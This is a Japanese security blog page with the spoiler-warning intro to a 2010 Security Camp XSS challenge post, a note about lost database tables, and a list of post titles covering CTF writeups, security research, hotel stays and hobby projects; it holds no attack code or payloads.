セプキャン2010で出たXSSの問題（ネタバレ）

Fri, 08 Oct 2010 12:46:24 +0000

一度消えたXSSの記事を復活させました。

注意書き

はせがわさんに大まかに教えてもらった上で解いたので、全部自力という訳ではないです＞＜

記事を書いたのは8月19日で、そこから公開をためらっていたのですが、少し需要があるようなので公開します。

以下ネタバレ注意です！

別の解き方があれば教えてください。

ブログ記事が消滅しました

Thu, 07 Oct 2010 10:56:52 +0000

ブログどころか、サイトで使っているDB内のテーブルが全部空っぽになってしまいました。。。(´；ω；｀)ﾌﾞﾜｯ

事の発端は、このサイトのサーバーにRailsをインストールして、何かつくろうとしていた時でした。

Posts on blog.tyage.net

実践 Webペネトレーションテストを出版しました！

本書の内容

謝辞

Automotive CTFの全xNexus問題のwriteup

xNexus Web RCE Anomaly - Automotive CTF 2024 Japan 予選

xNexus CAN Bus Anomaly #1 - Automotive CTF 2024 Japan 予選

COOPがタイミング系のXS-Searchの緩和策にもなるらしい

SECCON CTF 2023 Finals Writeup

Web babywaf

2023年宿泊した宿

1月

三井ガーデンホテル京橋 (東京都)

山荘 神和苑 (大分県)

2月

アパホテル〈浅草橋駅前〉 (東京都)

3月

4月

クロスホテル札幌 (北海道)

5月

ハレクラニ (ハワイ)

アワーズイン阪急 (東京都)

6月

7月

8月

クロス・ウェーブ府中 (東京都)

Sheraton Stockholm (スウェーデン ストックホルム)

Hotel Birger Jarl (スウェーデン ストックホルム)

TSG CTF 2023 Writeup

Upside-down cake

#DANCE

Midnight Sun CTF 2023 Finals - Obelix

セキュリティキャンプ2023

このブログがFediverseに対応しました

Step1. Bridgy Fed 導入

ACSC 2023 Gotion Challenge Author Writeup

Challenge Details

Diving into Dependabot along with a bug in npm

Gain write permission of repositories with a bug in GitHub Actions

Security filter bypasses with "matrix variables"

ブログをHugo + GitHub Pagesに変えた

CSP Embedded EnforcementでXSS mitigationをbypassする話

なに

SECCON 2017 Final International competition – 参 writeup

ANAプラチナメンバーになりました

tyage.sakura.ne.jp を終了します

Tokyo Westerns CTF 2017 – Clock Style Sheet writeup

Overview

Find XSS

Google CTF 2017 – Geokitties v2 writeup

Overview

Solution

Google CTF 2017 – The X Sanitizer writeup

Overview

Sanitizing method

嘘つきPHP ZipArchive::addGlobと壊れたファイルパス

TL;DR

ZipArchive::addGlob

プリパラで効率よく承認欲求を満たす

プリパラで承認欲求を満たす

プリパラシミュレータ

余談

セキュリティミニキャンプ新潟でチューターをしていました

:visitedセレクタのプライバシー問題とSNSでの利用

追記(2015年9月9日)

:visitedセレクタについて

31C3 CTF – Page Builder writeup

ウィッシュリストテロでミナミヌマエビが450匹やってきた

before:

after:

DEF CON CTF 2014

Atomエディタ用にVideo player pluginを作りました

使い方

再生できる動画

今後のアップデート

その他

ハンドルネーム

録画環境を構築した

環境

録画するまで

山荘神和苑 (大分県)

Sheraton Stockholm (スウェーデンストックホルム)

Hotel Birger Jarl (スウェーデンストックホルム)

第2回　SECCON ておくれ大会に行ってきた